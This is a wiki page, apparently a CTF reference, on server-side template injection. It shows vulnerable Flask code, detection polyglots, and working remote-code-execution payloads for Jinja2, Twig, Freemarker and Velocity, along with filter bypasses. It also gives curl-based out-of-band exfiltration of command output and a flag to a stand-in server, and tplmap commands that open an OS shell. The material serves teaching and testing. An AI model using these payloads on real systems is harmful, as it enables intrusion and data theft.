Athena Wiki
Web ExploitationServer-Side Attacks

Server-Side Template Injection (SSTI)

webintermediate

Detect and exploit SSTI vulnerabilities across Flask/Jinja2, Twig, and other template engines.

websstijinja2twigflaskrcetemplate-injection

Server-Side Template Injection (SSTI)

Server-Side Template Injection (SSTI) occurs when user input is embedded directly into a server-side template without sanitization. Unlike XSS, SSTI executes on the server - often leading directly to Remote Code Execution (RCE).

How SSTI Happens

Vulnerable code (Python/Flask):

# VULNERABLE
template = "Hello " + request.args.get('name')
return render_template_string(template)

# SAFE
return render_template_string("Hello {{ name }}", name=request.args.get('name'))

If you visit /?name={{7*7}} and see 49, you have SSTI.

Detection

Always start with a polyglot that triggers errors or outputs across multiple engines:

Payload / PolyglotTarget Engine / Output Behavior
{{7*7}}Jinja2 / Twig / Freemarker (outputs 49)
${7*7}Freemarker / some Java engines
<%= 7*7 %>ERB (Ruby)
#{7*7}Ruby/Slim
*{7*7}Thymeleaf (Spring)
{{7*'7'}}Jinja2 outputs 7777777; Twig outputs 49

If you see 49, the engine is math-capable. If you see 7777777, it's almost certainly Jinja2.

Jinja2 (Flask/Python)

Identify the Engine

PayloadResultEngine
{{7*'7'}}7777777 (string repeat)Jinja2
{{7*'7'}}49Twig / others (compare with {{7*7}})

Basic RCE via Object Hierarchy

Jinja2's sandbox-escape technique traverses Python's object model to reach dangerous classes:

# Step 1: Find the 'warnings' module or subclasses
{{ ''.__class__.__mro__[1].__subclasses__() }}

# Step 2: Find index of subprocess or Popen (search output)
{{ ''.__class__.__mro__[1].__subclasses__()[<N>]('id', shell=True, stdout=-1).communicate() }}

# Shorter - using config object (Flask-specific)
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}

# Via cycler (reliable in Flask)
{{ cycler.__init__.__globals__.os.popen('id').read() }}

# Read the flag
{{ cycler.__init__.__globals__.os.popen('cat /flag.txt').read() }}

Bypassing Filters

If _ is filtered:

{{ request|attr("__class__") }}
{{ request|attr("\x5f\x5fclass\x5f\x5f") }}   # hex encoding

If . is filtered:

{{ request['__class__'] }}
{{ request|attr('__class__') }}

Twig (PHP / Symfony)

PayloadOutput
{{7*7}}49
{{7*'7'}}49 (unlike Jinja2, which repeats the string)

RCE payloads:

{{['id']|map('system')|join}}
{{['cat /flag.txt']|map('system')|join}}

# Via passthru
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

Freemarker (Java)

PayloadOutput
${7*7}49

RCE:

${"freemarker.template.utility.Execute"?new()("id")}

Velocity (Java)

#set($x = 7*7)${x}

RCE:

#set($str=$class.inspect("java.lang.Runtime").type)
#set($runtime=$str.getRuntime())
#set($process=$runtime.exec("id"))

Blind SSTI

If output isn't reflected, use out-of-band (OOB) exfiltration:

# DNS exfiltration with curl
{{ cycler.__init__.__globals__.os.popen('curl http://your-server.com/$(whoami)').read() }}

# Base64-encode the flag and exfiltrate
{{ cycler.__init__.__globals__.os.popen('curl http://your-server.com/?d=$(cat /flag|base64)').read() }}

Automated Tool: tplmap

git clone https://github.com/epinna/tplmap.git
cd tplmap
pip install -r requirements.txt

# Detect and exploit SSTI automatically
python tplmap.py -u 'http://target.com/page?name=*'

# With POST parameter
python tplmap.py -u 'http://target.com/page' -d 'name=*'

# OS shell
python tplmap.py -u 'http://target.com/page?name=*' --os-shell

Identification Flowchart

Verify Reflection

If your input is reflected on the page, try sending {{7*7}}.

Analyze Math Execution

If it outputs 49, the engine evaluates expressions. Try {{7*'7'}} next.

  • Outputs 7777777 → Identified as Jinja2.
  • Outputs 49 → Identified as Twig or Smarty.

Alternative Engines

If step 1 resulted in no output or an error, try sending ${7*7}, #{7*7}, or *{7*7}.

Match Engine

Match the successful payload against Freemarker, Thymeleaf, or ERB based on the syntax.


Last updated on

On this page